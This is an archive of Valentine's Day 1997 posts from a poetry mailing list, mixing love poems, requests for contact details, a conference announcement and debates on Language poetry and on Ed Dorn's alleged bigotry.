and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

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460. **Pierre Joris**
query
Fri 14 Feb 1997

Would anybody on this list have a snailmail for Roderick Iverson in L.A.?
Please backchannel. --Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
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[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

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461. **Chris Stroffolino**
OH CANADA
Fri 14 Feb 1997

Does anybody have clint burnham's email? (is he still on this list?) Also, what ever happened to that OH CANDA issue of some U-BUFFALO "rag" that was suppossed to come out last year? I think Joel Kuszai was involved with it? Has it been scrapped?----Chris Stroffolino

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462. L. Mac Mahon and T.R. Healy

Hello

Fri 14 Feb 1997

Greetings,

my name is Randolph Healy. I'm from Ireland and this is by way of introduction. Don't worry if you've never heard of me. The condition is by no means uncommon. Following Jennifer's lead I'll post a Valentine.

All the best,
Randolph.

Torch Song

Your presence brings light,
flickering, inconstant,
against which my shadow halts
unedged.
Fragments from long-exploded stars
meet in an act
which like words
has no boundary.
My atoms
your atoms
kiss.
Hold me.
I am mainly empty space
my surface a seething cauldron
of interchanging particles.
Only electricity prevents your lips
from going straight through me.
My body
my mouth
retain each impression
here
alight in your presence.
Selah.

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463. **henry**
Re: Who's Zoning Who
Fri 14 Feb 1997

On Thu, 13 Feb 1997 23:48:06 -0500 Wendy Battin said:
>Tricky, but yes. How much of rejection of "self" (& g*ds know I sympathize
>when it comes to poetry as dull bar seduction, see what a sensitive
>dude/brave dudette I am) also throws out what wd be worth preserving if
>the revolution ever succeeds? I'd love to see a lot more rejection of ego
>& superego, to adopt some retro terms, and more plumbing into the part of
>self that says why it's worth staying alive, worth seeking out other
>humans, worth the hassle of fighting through Babel and money and
>resentment. Silly beauty & foolish truth, because it's foolish to care

Right on, Wendy. g*d knows WE'RE ALL SICK OF MY EGO, but...here goes again... I had a little essay in the last Witz on the Russian conference where I tried to distinguish between "self" (that straw bogeyman of "left" poetics) and "Person" - "Person" being (in part) the expressor of Russian philosopher Chaadev's concept of "moral freedom" - an anthropocentric idea generally denied in all kinds of determinism (from the social Necessity of some versions of leftist justice to the market Necessity of this country that makes cowards of us all). Maybe beauty in poetry expresses the moral freedom of Person rather than Self. See Mandelstam's essay "Chaadev" for more info.

Where are the gifts that
>keep *that* weird enterprise going? I find bits & pieces of them in all
>kinds or reporting & recording, but rarely find anyone willing to value
>them in public.

Yeah. the beauty of oral history.
I was going to signoff poetics this morning out of self-blab-sickness.
I think I will try to lurk for a while. Happy V-Day, everybody. - Henry G.

↑ Index

464. **Christopher Alexander**
Re: per-mail (Pear tree w/potatoes
Fri 14 Feb 1997

> Christopher Alexander wrote:
etc etc

damn, sorry--M & I seem to be having problems
keeping our personal mail separate friom the list.
of course anyone is free to intervene, but I really
dont mean to burden you with our correspondence.

chris
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

465. **henry**
query
Fri 14 Feb 1997

Hi everybody, I'm back. wanted to ask again - anyone have an email address for Dave Baratier? Is he offline entirely? Please backchannel. Thanks.
[redacted]

↑ Index

466. **F.A. Templeton**
Categories
Fri 14 Feb 1997

No, no, no, help, don't put me on the shelf with all those poets who win slams and hate books!

Fiona

↑ Index

467. **Christopher Alexander**
Re: Who's Zoning Who
Fri 14 Feb 1997

> Consider, for example, the group of poets consisting of W, X, Y, and Z.
yss or consider the list member z who had too much coffee
at an Oedipal breakfast with harold bloom & wildly made otherwise
mundane accusations which assumed that everyone else assumed that
they were not engaged in publicizing each others work & further assumed
that to bring this dark secret to light with a brilliant flash would return
the Literary Realm to its rightful place as the contemplation of what
constitutes beauty in the contemporary world. so wild were the
gestures of this wiley critic that he nearly gave himself a socio-
historical "rupture" & spilled his lackluster, prosaic "eggs benedict"
all down the front of his new simplistic "ideology".

..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

468. **Keith Tuma**
Re: Who's Zoning Who
Fri 14 Feb 1997

It must really be valentine's day 'cause the poison arrows are flying.

At least when Silliman wants to smear somebody by linking him with Pat Buchanan he uses a name. Not that there's much doubt who Mike B means by W, X, Y, and Z. I've always preferred Q's work myself, though the oedipal complex in N is a fascinating curio, and the lit-crit narratives of legitimation in $$ are the subject of one of my best student's ponderous dissertation. But if I had three kids, I'd be sure to name them after Murk, Mush, and Tedium.

Listen, I knew Murk, Mush, and Tedium.
Murk, Mush, and Tedium were friends of mine.
(Many an evening we'd explore simple-minded discourses of ideology.)
And you, Mr. @@@, are no Mush. Nor Murk. Nor Tedium.

As the Batman of the British Isles says,
love and love,
keith
(who's happy to meet any ghost who comes along, holy or not, and wishes he knew what ed dorn is supposed to have done/said and that ed would have a chance
to respond)

↑ Index

469. **maria damon**
Re: Names
Fri 14 Feb 1997

---

okay, charles alexander and susan wheeler and linda russo have the most exotic relatives' names.

my own:
mother, selma
father albert
sisters elsa, kristina

cousins, bente, ulla, inge magrethe
other cousins: laurel, julie
uncles and aunts hi-lites: einar, jens christian, etc
bedstefar & bedstemor: thomas thorvald and magrethe
grandpa and grandma: henry (hyman) and bessie (beyla)

↑ Index

470. **maria damon**

Re: for valentine's day whatever happiness you've found

Fri 14 Feb 1997

---

oh jennifer, torch me!

In message <[redacted]> UB
Poetics discussion group writes:
> ++++++

471. maria damon
Re: Nielsen on Dorn
Fri 14 Feb 1997

In message <[redacted]> UB Poetics
discussion group writes:
> "but he's also shown himself
> a bigot in unforgivable ways"
>
> Says who? The Grand Vizier of Correct Thought?
>
there's no need to get defensive about the faults of poets we admire or feel peronally fond of.

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472. Sherry Brennan
Dorn
Fri 14 Feb 1997

Looking for something else this weekend, unearthed a copy of Dorn's poem named something like _Turbines on the North Atlantic_, having filed and forgotten it existed. It's very moving and beautiful and political (a manifesto-like chant in places like Patchen, I'd say, in this case). And I like it very much.
Sherry

> *Date: Wed, 12 Feb 1997 11:32:38 -0700*
> *From: Charles Alexander <[redacted]>*
> *Subject: Re: Zones v. Zoos*
>
> *even (god help us) Dorn,*
>
> *This Dorn fellow seems to be reviled by many right now, for reasons I understand. But are things he has done even worse than Pound, or Adorno (a not too-long-ago thread here), that the mere mention of his name requires a prayer? And are people still reading his work, some of which I still find insightful and quite brilliant?*
>
> *charles*

↑ Index

473. Mark Prejsnar

Perelman and theory and stuff

Fri 14 Feb 1997

I've been reading Rasula's Wax Museum, which has sparked a lot of very good dialog on the list recently....It is interesting that I've just gotten to the part where he suggests a fundamental failure in the language circle, arising from their not collapsing theory and practice into a single form, a poetry that is also theory--(...from one point of view, that is certainly going on in Andrews' crazed "poetics essays" but Rasula was writing before last year's publication of Paradise and Method, which collects those pieces and allows you to see just how challenging and odd Andrews' "theortical" writings are..)

I think Perelman's been thinking along these lines, and I think the poem posted here was almost as good as the one that opens Marginalization of Poetry and gives it its title.. In fact, his work has always been a favorite of mine; the books Face Value and First World are such models of how to be skeptical and passionate and committed about politics within a non-mainstream writing mode, kind of it seems to me a separate developmental track running parallel to Silliman's less hectic new sentence strategy: parallel tracks running in the same direction (left).

Some postings don't seem as positive about Perelman's poem as I was...But I'm not always good at interpreting arch gnomic asides. I loved it anyway.

Rasula's point is kind of fascinating (--I haven't finished the section where he develops this theme, so I may not fully represent his views..) On the one hand part of me thinks you (we, them?) don't have to meld theory and poetic writing into one new mode..On the other hand, there's a real exploratory integrity to the idea that it is a historical/esthetic imperative.. His belief that more people would find LangPo non-abstruse, if the creative writing contained theory, seems to me too easy (again, take a look at Andrews' essays, one example of creative writing explaining itself which I don't think will win over many academics tomorrow)

One final connected note: I think Rasula's American poetry wax museum, and Perelman's Marginalization of poetry, are two of the best and most generative books about poetry I've ever seen; if you haven't seen 'em, I recommend it. Perelman's is shorter and more hands-on in examining poetry directly. But both are about SITING u.s. poetry--locating it in current social and cultural dynamics. Vital.

Mark Prejsnar

↑ Index

474. **Miekal And**
name-sies
Fri 14 Feb 1997

henry again wrote:

> - "*Henry Again*" *(pat. pending)*

Welcome to the family, you should meet Carolyn Always who is on another list Im on

Miekal And

↑ Index

475. **Gwyn McVay**
Re: Names
Fri 14 Feb 1997

I have a husband-wife pair of ancestors named Zalmon Francis Monroe and Ophelia Kitchen Monroe.

Gwyn

↑ Index

476. **amato**
Re: die a critic
Fri 14 Feb 1997

to pick up for a sec on what keith t. is saying on this subject line, vis-a-vis jonathan monroe: to align poetic practice with recent developments in comp/rhet. would require that poetry is discussed not simply in terms of its products but in terms of its processes... i think much is to be gained, at least wrt the academic sites of poetry production, from looking at the way process is taught (or not taught)... to harp/hop on my hobbyhorse of late, that notion of "craft" is part of what i see blocking productive associations between comp. and poetry... it's b/c "craft" works in effect to stabilize product through a certain rigor, a certain form of attention...

this is not an argument against attentiveness as such... i'm talking about the way "craft" tends to be institutionalized... i add here only that "craft" -- insofar as it's theorized -- represents one way (but only one way) to safeguard the laboring *body* of the writer... but there are many other ways...

so it would seem to me to be helpful in discussing poetry, or poetries, to consider the process aspect more fully (somebody mentioned mac low's work, which is to the point here if only b/c mac low attends so consciously to process, yet in ways that craft-oriented writers might not appreciate)...

again i think it's worth noting how many books are out there that presume to discuss the "writer's craft"... invariably these books seem to advocate a specific aesthetic, or aesthetic approach anyway... and of course what gets left out, finally, is so much of art itself---b/c the way "craft" is generally deployed in the classroom, it consists of rules and techniques (if not outright gimmicks) that can take most only so far---right up to the verge of art, but not art itself... which in effect safeguards art against those who would presume to understand it more fully, who would presume to place art on a continuum with other social practices---and once again confirms that the artist is born, not made, the artist-as-genius, as romantic savant, as any-number-of-unconfirmed-sightings...

it's not a matter of making art easy or known or verifiable... seems to me, though, that we can do better than advocate procedures that have the effect of reducing what passes for 'proper' aesthetic process while situating most who aspire at a clear remove from the possible plays of process...

lots more to say here, but i'll close with that...

best,

joe

↑ Index

477. **Don Cheney**

Catullus for Valentines Day

Fri 14 Feb 1997

Two translations of CATULLUS 70 for Valentines Day:

70.

No one says that my woman is not nubile,

but to me, even if Jupiter himself reads this, she is a petal.

She loves it when I talk about love

and when I rapidly write about liquid openings.

==========

Oasis

No one sees my woman's deceit, not a duck

not me not even Jupiter himself can see it.

That's what I say: but a man in love who talks about loving

in windows and writing on buses

is like opportunity and water.

==========

Don Cheney

==========

visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791/index.html
[redacted]

==========

↑ Index

478. Burt Kimmelman

Bronk Panel at Oxford, August 30, 1997

Fri 14 Feb 1997

I am writing in behalf of Dennis Ryan, who is organizing a panel on William Bronk to be held as part of a one day conference on Estrangement, to be held at Oxford University on 8/30/97. There are I believe three "sections" of the conference, one on literature and culture (which is where the Bronk panel would be), another on psychology or something like that, and a third whose focus i've forgotten now. Anyway, the conference is interdisciplinary and otherwise is quite unconventional. EAch panel participant will have written a thousand word essay, which will have been published with other like essays for the general consumption of the entire conference. EAch panelist will come to the conference with a much longer version of this essay, and will meet with other panelists in the morning in a workshop format. I.e., all the Bronk people, a minimum of six and a maximum of ten, will spend the morning exchanging views and also coming up with a document of some sort, written collectively by the entire panel, which will be presented to the entire conference in the afternoon.

Or something like this.

Well, if you are interested in participating, ESPECIALLY IF YOU ARE NOT AN AMERICAN (there are 4 Americans on the panel already--myself, Henry Weinfield, Ed Foster, and Dennis Ryan--and there may be more), then please contact Dennis Ryan (his e-mail address is [redacted]; he teaches in the communications

Program of Buena Vista Univ. in Storm Lake, Iowa 50588-1798). Dennis says that room andboard for 4 days would cost $46.00 a day (and I believe that is American dollars).

We would welcome all applicants, but would like to have an internationally grounded discourse there.

Thanks,

Burt Kimmelman

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479. **Jordan Davis**
ride the tiger to the river Euphrates
Fri 14 Feb 1997

---

well is it then a matter of making an art our art for we (I) are different? we have something else to say and do, yes, but does that place us in the rather restricted relation of OPPOSITION to an exclusive and rewarded TRANSPARENCY PRACTICE? Don't think so. I mean, if you're one of the hegemonic boomers, you may HAVE to see it that way, but if you're on either side of that bracket (or you just WANT to be) there seems to be more permission to exist in other relations. I can hear it now, we're WUSSING out on the Hegel score. Hey hey ho ho. But this insistence on the opposition-relation, that seems like only a recent recurrence of a syndrome of turf warring (MAPS) that comes and goes as new resources are alleged to be OUT THERE .. go dog go .. of course I love tulips as much as anybody .. I also love MY TRIP, SOME OTHER KIND, RESPONSE, IN MEMORY, etc, etc more. Is this an opposition? Is elsewhere an opposition? Seems more like an affirming negation from here. TRANSPARENCY PRACTICE offers more than the OPPOSING TEAM seems to want to admit, at least openly .. I guess you can go on being THEY indefinitely .. but why? why not elect oneself central? or peripheral? and get going with the vantages already? there do seem to be non-monotonous people listening non-monotonously, at least as long as they can stand it .. until they give up .. Signed, A PERMANENT CRISIS IS NO SUCH THING

PS Siting is not vital tho the siding may be vinyl ..

↑ Index

480. **k.a. hehir**
Re: the future of an illusion (fwd)
Fri 14 Feb 1997

> *hey Hynek,*
> *thought you minght find this quotation interesting.*

> *kevin*
> *----------*
> *From: Sylvester Pollet <[redacted]>*
>
> *I'll throw this into the mix--it's a quote from Matthew Sweney, who's been working with Petr Mikes at Votobia Publishers in the Czech Republic:*
>
> *"Poetry [in the C.R.] doesn't sell now because it's no longer controversial. Everyone was writing and buying poetry before because it was illegal, a sort of rebellious act, but now that Socialism is gone, poetry has lost its attraction. People watch Schwarzenegger videos on their new VCRs instead."*

Hi Kevin!!

Interesting? Yes & no. "No" because it is oversimplified, "yes" because it's true... First, poetry as such was not illegal: there were many "communist" poets and there was poetry even on TV! On the other hand, there was also poetry which went against the grain. Not necessarily in the sense of being anti-communist, by no means, but simply because it was "real", which is to say, it was about things and feelings "outside" the official ideology, it was about anxiety, nothingness and death, or about common everyday things, or about faith and God, etc. While now the time is more "prosaic" and poetry seems to be too pathetic to be true... And Swarzenegger? Well, you know what the majority of Canadians likes watching, don't you?! And you don't think that people in Central Europe are different species, do you...

By the way, VOTOBIA is a really interesting publishing "company"; their editorial plans are "rather" nonconventional. Moreover, they are from Moravia, and not from Prague -- which [that is Prague] always tended to present itself as the only cultural centre in the republic. And this "voice of marginality" is another "sympathetic" (as we would say in Czech; guess what it could mean!) feature of Votobia.

Take care!

Hynek

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481. **Christopher Alexander**
Re: ride the tig etc
Fri 14 Feb 1997

> we have something else to say and do, yes, but does that place us in the
> rather restricted relation of OPPOSITION to an exclusive and rewarded

> TRANSPARENCY PRACTICE? Don't think so.
yes yes of course its important not to lock
ourselves into this position--art is about
more than burning newspapers--, but lets
not deny that its one possible assessment
of a poetic practice--as limited as any other
single assessment, but not more.

> Is this an opposition? Is elsewhere an opposition? Seems more like an
> affirming negation from here.
yes, elsewhere is an opposition of sorts,
& I should think we ought to be able to
frame it that way if/when its useful to do so.
the work acts as an affirming negation only
when its taken obsessively in terms of opposition:
"I see my work as oppositional practice--
thats all really". I dont recall anyone doing
that here recently--do you?

> TRANSPARENCY PRACTICE offers more than the
> OPPOSING TEAM seems to want to admit, at least openly
true enough--but who called us into teams?
I always considered myself central, really.

signed (sigh) or
"wouldja call off the crisis response team already?"
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

482. henry again
Re: ride the tiger to the river Euphrates
Fri 14 Feb 1997

Dante was a transparency. always an open hand, wrote endless critical work
s & letters, here is what we're doing & what we're going to do, D.Comedy is
full of asides & para-narrative on the poem itself,
but
then the structures took off on their own,
a player piano
embedded isomorphic valentine
&

what good is tapeworm transparency anyway?
who cares?
the poem eats your processes until they are
highly
unrecognizable.
- "Henry Again" (pat. pending)

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483. Christopher Alexander
Re: Names
Fri 14 Feb 1997

---

gwyn wrrt:
> I have a husband-wife pair of ancestors named Zalmon Francis Monroe and
> Ophelia Kitchen Monroe.
thats wonderful. you know Ive always been
sort of fascinated with the idea of being from
the stock of common nouns--as, for instance,
after an object or a day of the week (have to
admit a real liking for the name Wednesday
of Addams fame). in this context they become
such lovely, inscrutable words.

chris.
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

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484. Peter Zukowski
John High
Fri 14 Feb 1997

Does anyone know the e-mail address (or possibly even
a phone number) for John High? I believe he is the editor
of _Five Fingers Review_. Please backchannel.

Thanks.

Peter Zukowski
[redacted]

↑ Index

485. Michael Boughn
Re: Who's Zoning Who
Fri 14 Feb 1997

Do you really know, Keith? Or was it just a phantom exercise in decentering incivility before it got fixed as Poetics? I'm not sure I know.

Peace, love, and good vibes (as always),
Mike

PS, the problem with those stupid graphs, as Charles Dodgson could have told you, is you can't get this world into a flatworld. Won't fit. Sorry. Said Alice, as the Red Queen disappeared.

↑ Index

486. Christina Fairbank Chirot
Re: poison pens/valentine's day
Fri 14 Feb 1997

(for Mike Boughn & Keith Tuma)

```
      V         E     E
  D     A       N     R
    A     L     I    C
     Y    E   T    A
          N   S
      M      S
          A
```

forget me not

threat or plea

a flower

dbchirot

↑ Index

487. David Kellogg
Re: Who's Zoning Who
Fri 14 Feb 1997

At 03:36 PM 2/14/97 -0500, Michael Boughn wrote:

> *PS, the problem with those stupid graphs, as Charles Dodgson could have told you, is you can't get this world into a flatworld. Won't fit. Sorry. Said Alice, as the Red Queen disappeared.*

As the creator of one such "stupid graph," I would like to say that I don't intend to "get this world" thru it -- merely to get something interesting.

Cheers,
David
~~~
~~~

489. **henry**
Re: my poetics valentine
Fri 14 Feb 1997

Lisa Lisa luminescent
In my eyeballs convalescent
Happy valentines to you
Brief pithy terse succinct & true

VITA BREVIS
ARROWS LONGER

↑ Index

490. **Jordan Davis**
: D is all we get of the cat (your summary axe)
Fri 14 Feb 1997

I blieve, Chris Alexander, if that is your name -- that the guiding logic at work here is oppositional -- viz Hank Lazer's opposable poetries, viz Bob Perelman's we is another poem, viz Ron Silliman's comments here and Cap-l -- I belive that Bruce &rews is relentless in his opposition, and that of the lpoets maybe only Charles B has gone on to oppose opposition and maybe he hasn't -- maps are for claiming resources and for sittling arbitrartions, charts are for malapractice -- the crisis goes deeper, lads, and the initials are everywhere .. wussy hegel glot-tal simpatico, contra dante sounds .. and maybe he's just the Poetry Chicken .. a lot'll .. geese .. a shady .. to get into the narrative --

↑ Index

491. **A. Jennifer Sondheim**
The more things change.... (fwd)
Fri 14 Feb 1997

I was totally fascinated by this post, and asked Bill if I could send it on, so with permission - please read -

love, Alan

---------- Forwarded message ----------
-Date: Sat, 15 Feb 1997 13:19:04 -0800
-From: Bill Stilwell <[redacted]>
-To: [redacted]
-Subject: The more things change....

Just finished reading a wonderful article by Tom Standage in The Electronic Telegraph (http://www.telegraph.co.uk/) called "Romances of the Telegraph"

about how the introduction of telegraph and telephone technology caused fears not unlike those caused by the internet today about illicit relationships. I'll quote a few bits just to get the point across. To read the entire article you need to register at the above URL (it's free) and then search for the article. I only hope that e-mail and related technology moves quickly into the realm of the 'safe' now occupied by telephones.

"An article entitled The Dangers of Wired Love, published in 1886, warned of the consequences of allowing women to use new communications technologies without supervision."

"One 19th-century cautionary tale concerned George W. McCutcheon of Brooklyn, who ran a news-stand assisted by his 20-year-old daughter, Maggie. Business was booming, so, in 1886, he decided to expand and install a telegraph line, with Maggie as its operator. But he soon discovered that she was "keeping up a flirtation" with several young men over the wires, including Frank Frisbie, a married man who worked in the telegraph office of the Long Island Railroad. Over the wires, Maggie invited Frisbie to visit her, and he accepted. But when her father found out he forbade the visit, so Maggie began seeing Frisbie on the sly. McCutcheon tried moving his news-stand, but Maggie soon found work in a nearby telegraph office and resumed the relationship. Eventually, her father pursued her to a rendezvous and threatened to "blow her brains out". She had him arrested, and he was charged with threatening behaviour."

"There was even a novel called Wired Love, written by Ella Cheever Thayer and published in 1879, which built its plot around an online courtship - and beat today's slew of dreadful email romance novels to the punch by over a century. And in 1891 an article called Romances of the Telegraph rounded up other stories with happy endings."

"Other articles talk of the telephone's tendency to lower moral standards. "It's appalling," said an elderly aunt, reported in Telephony in 1903, "to see how they use telephones nowadays. Last night Mary, who was dressing, answered the telephone in her room. And it was a man calling her up. The two of them stood talking to one another just as if they were entirely dressed and had stopped for a little chat on the street! I tell you this generation is too much for me."

--Bill ([redacted])
"What is laid down, ordered, factual is never enough to embrace the whole truth: life always spills over the rim of every cup."--Boris Pasternak

↑ Index

492. aerialedge
Re: ride the tiger to the river Euphrates
Fri 14 Feb 1997

Jordan, remember that Hegel tune "I don't need your summary acts to give into the narrative age"? The problem with elsewhere is there's usually lots of tourists there. Hell is other tourists? (I remember something about an up-to-date theory of time.) Adorno (clap hands clap hands) says on the first page of Aesthetic Theory ". . . however tragic they appear, artworks tend a priori toward affirmation." hmm.

--Rod

Barnes & Chernobyl:

It's got everything you need

It's an artist, it don't look back

↑ Index

493. k.a. hehir
dante valentini
Fri 14 Feb 1997

---

with all this luvin goin on and Henry's mention of dante, i'd like to share my e mail valentine to Beatrice.

To:[redacted]

not sure why but i'm feeeliing really frisky now and you are the target of my emoticons. good thing i'm knowhere near you 'cause i'd be massaging your feet into an erotofrenzy. and since the medium is the massage. you'd have to succumb numb into my passions. i'd swallow you. hollow you. hallow you. gentle . swelling desire delirious. you are delicious. i'll take two scoops. packed into a daydream like summer laughter and freedom. i burn with optimism's flame. the wondiferous splendor of your sparkle. a smile that moves me to song. a choir to the graceful dance of your moonbrows. ever freshing the fountain. superluminous murmurs coil my sensation. the juice of your memory slakes my drought. i dream of buttering your muffin. sleep well knowing that in one mind melancholy with the tears from the wake of your passing, an ember burns amber like ale stout in its steadfastery. hidden from the make-up of the a public face. deep in the soul. a coal remains. hear it cry with steam as teardrops bake into its lumina. soul coal. dream steam. emotions like motions owe prayers to the source. i stroke you. i stroke you. i stroke you. evocative notions. be my guide to awareness. breathe into my daytime. slip into my night. let me squeeze your freshness every morning. let me brush my teeth with your mind at knight so my nocturnal

excursions are quessts for pearl necklaces and the slaying of insecurities. and inhibitions. ambitious but ample ,oh apple of my pie. let me bake you into a cake. run down my chin. melt my cream. satisfy my sweettooth. swim in my tastebuds. splash in my saliva. slurp up my sunshine. surrender to my songcraft. with my shipsong packed with poet's art, can my word keel crack your frozen heart? will you be my valentine. will you hold my hand. will let me hide in your shadow safe from eyes of judgment. can i play in your shade? can i draw on your sidewalk. can i skip to your heartbeat? can i compose arias with only your name? symphonies in your key? puddlesplash. leafpile snuggle . stay beautiful.

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494. **maria damon**
Re: my poetics valentine
Fri 14 Feb 1997

---

vrey lovely, lisa s; and to all a good v-day.

↑ Index

495. **David Bromige**
divers
Fri 14 Feb 1997

---

1) My Valentine Poem

Tho often you at me are glowering
Tho your conceit is sometimes towering
& your one-liners can be scouring
Tho you sing sharp and flat while showering
Tho your persona's overpowering
& were mine less, you'd have me cowering
Tho Spec Collections has us rowing
in type no less, I sit here vowing
(while you, net-maidens keep on wowing)
when skies are blue or clouds are lowering
to keep this long-haul friendship flowering
leastwise thruout today, george whatsyername

+ + + +

2) Ed Dorn's _North Atlantic Turbine_ is an amazing book, as it was when it first appeared. And there are earlier books: _Hands Up_, _The Newly Fallen_, filled with moving poetry, hard-bitten/tender poems of love and mourning, often with a political--but what we used to call "human"--edge to them. _Gunslinger_ was a

notable departure from the work of his first decade of publishing. Some big change, announced with "Stand by the Door Awhile, Death, there are Others" which i read as intermediary between the early and the middle periods of this terrific poet.

As for bigotry--we have Aldon's indications, and wasnt an issue of his zine _Rolling Stock_ full of taunting of AIDS sufferers? I'd welcome clarity on that one.

* * * * * *

3) Bob Perelman's poem: one might well say Wow. He came along like a bottom-feeder and scooped up a lot of heavy matter very fast. Its an exemplary act, it shows how the List can feed (neg or poz) poetry.

f.n. Bob, didnt know you were lurking--you put it to good use. Now I'll tell you how to make a proper dash--depress "Shift" and "option" while you type u.c.-dash--you have to hit it twice on e-mail to make it long enough, but only once on yr harddrive. Bowering taught me this.

db

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496. **maria damon**

Re: my poetics valentine

Fri 14 Feb 1997

---

terrific; keep em coming.

In message <[redacted]> UB Poetics discussion group writes:
> My first formal post here.
>
> A VALENTINE'S SESTEENY
>
> love/lucious/heart/sweetie/savor/Venus
>
> Astarte/ecstacy/relish/cloying/precious/meat
>
> viscera/Eros/lambkin/passion/ambrosial/odor
>
> delight in/amphetamine/mawkish/Cupid/fancy/petkins
>
> darling/fond/infatuation/interior/Kama/juicy
>
> sacharine/honey/gods of/partial/middle/rapture
>

> taste/Psyche/adoration
> OR
> romance/fervor/characteristic
> --
> Bob Grotjohn
>

↑ Index

497. **Aldon L. Nielsen**
Re: Nielsen on Dorn
Fri 14 Feb 1997

---

from the "grand vizier of correct thought" --

I'm not going to get sucked into that kind of crap -- Dorn himself, in a letter to the then LeRoi Jones, said letter on deposit in the library at UCLA for your perusal should you care to peruse, apologizes for phone call the previous night -- in which apology he reports that his wife took him to task for "Jew baiting" in the course of the conversation -- as my students would say -- "ironic, huh?"

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498. **Aldon L. Nielsen**
Re: minor corrections
Fri 14 Feb 1997

---

with Chet Baker's pretty valentine playing in the background --

Just got that _Diacritics_ and wanted to forestall a couple misunderstandings --

While I am deeply grateful to J. Monroe for including my essay on Russell Atkins's criticism, there are two points in Jonathan's introductory essay that might mislead readers --

He opens with the remark that this issue "draws on presentations from two events" at Cornell on 94 & 95 -- that is indeed true, but some of the work, such as my own, is drawn from elsewhwere -- as in I was elsewhwere hen those events happened -- My essay was not part of the conference & symposia --

More imprtantly, at least to me -- on pg. 7 of his intro., Jonathan refers to my having noted that "the most successful black poets have been those, like Rita Dove and Derek Walcott, 'who write in more mainstream modes [and] . . . whose forms are less troubling than their content'" What I actually say on pg. 86 is that black poets "whose forms are less troubling than their content" might be more likely to attract a modest increase in interest by publishers and readers in their critical works (as opposed to somebody like Atkins) -- The

claim as represented by Monroe might prove to be true in the end, but it's not the claim I was making

yours in love on our saint's day,
the grand exalted incorrect whoosiz

↑ Index

499. Rachel Loden
Re: Nielsen on Dorn
Fri 14 Feb 1997

Aldon L. Nielsen wrote:
>
> from the "grand vizier of correct thought" --
>
> I'm not going to get sucked into that kind of crap -- Dorn himself, in a
> letter to the then LeRoi Jones, said letter on deposit in the library at
> UCLA for your perusal should you care to peruse, apologizes for phone
> call the previous night -- in which apology he reports that his wife took
> him to task for "Jew baiting" in the course of the conversation --
> as my students would say -- "ironic, huh?"

But isn't this the Pound debate again? Pound who said "A hundred yids should die for every Fascist that falls" (in his taped ravings)? All of this is and must be on the record. But who do we throw out as a result of it? Apparently only the poets we dislike (for whatever other reason). Those we find essential stay put. Marjorie Perloff made what should have been the final statement on this question--what was that last zinger, "It can't be Love my Politics, love my poetry." In the anecdote above, Dorn's the bad guy, Jones/Baraka the good. Yet Jones/Baraka writes of "jewladies" himself, and "faggot handmaidens of the french whore," and "some up and coming queer" (long before the word achieved its in-your-face currency). And I'm not even willing to part with the poem in which he makes some of these references, the coruscating "Politics of Rich Painters." What I heard Anselm Hollo objecting to was the tendency to make untouchables of our enemies, while making excuses for our friends. Please correct me, AH, if I'm wrong.

Rachel Loden

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500. **maria damon**
Re: Nielsen on Dorn
Fri 14 Feb 1997

---

whoa, my adored rachel. i don;t think writing "even dorn (god help us)" or whatever aldon wrote, is "making an untouchable" of dorn. i read it simply as an offhand remark about something we all know: that dorn, while incontrovertibly a major poet with good personal qualities as well as talent, is capable of prejudicial attitudes and statements. to mention in passing, and with what i took to be some humorous affection, something that is well known and that is not pleasant is not, to my mind, an act of censorship.

In message <[redacted]> UB Poetics discussion group writes:
> Aldon L. Nielsen wrote:
> >
> > from the "grand vizier of correct thought" --
> >
> > I'm not going to get sucked into that kind of crap -- Dorn himself, in a
> > letter to the then LeRoi Jones, said letter on deposit in the library at
> > UCLA for your perusal should you care to peruse, apologizes for phone
> > call the previous night -- in which apology he reports that his wife took
> > him to task for "Jew baiting" in the course of the conversation --
> > as my students would say -- "ironic, huh?"
>
> But isn't this the Pound debate again? Pound who said "A hundred yids
> should die for every Fascist that falls" (in his taped ravings)? All
> of this is and must be on the record. But who do we throw out as a
> result of it? Apparently only the poets we dislike (for whatever other
> reason). Those we find essential stay put. Marjorie Perloff made what
> should have been the final statement on this question--what was that
> last zinger, "It can't be Love my Politics, love my poetry." In
> the anecdote above, Dorn's the bad guy, Jones/Baraka the good. Yet
> Jones/Baraka writes of "jewladies" himself, and "faggot handmaidens of
> the french whore," and "some up and coming queer" (long before the word
> achieved its in-your-face currency). And I'm not even willing to part
> with the poem in which he makes some of these references, the
> coruscating "Politics of Rich Painters." What I heard Anselm Hollo
> objecting to was the tendency to make untouchables of our enemies, while
> making excuses for our friends. Please correct me, AH, if I'm wrong.
>
> Rachel Loden
>

↑ Index

501. Bob Grotjohn
Re: my poetics valentine
Fri 14 Feb 1997

My first formal post here.

A VALENTINE'S SESTEENY

love/lucious/heart/sweetie/savor/Venus

delight in/amphetamine/mawkish/Cupid/fancy/petkins

sacharine/honey/gods of/partial/middle/rapture

taste/Psyche/adoration
OR
romance/fervor/characteristic

--
Bob Grotjohn

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502. Aldon L. Nielsen
Re: Aldon, Pat & Rachel
Fri 14 Feb 1997

Come on now guys, I know you're reading at least parts of this exchange --

No, it clearly does not boil down to one incident years ago -- I mentioned the letter in response to remarks that appeared to dismiss another incident as an isolated episode of conference table talk -- I have no interest whatsoever in tracking any and all such remarks Dorn may have made over the deacdes -- Somebody asked why there seemed to be negative reactions to seom mentions of Dorn -- I indicated one reason such negativity might exist -- My guess is that somebdoy who made similar remarks years apart has probably made them on more than two occasions to more than two people -- I could, of course, be wrong about that -- You might ask Dorn his current opinion of Mencken's diary entries on the subject of Jews -- perhaps Dorn has changed his opinion in the interim -- I would be pleased to learn that he has --

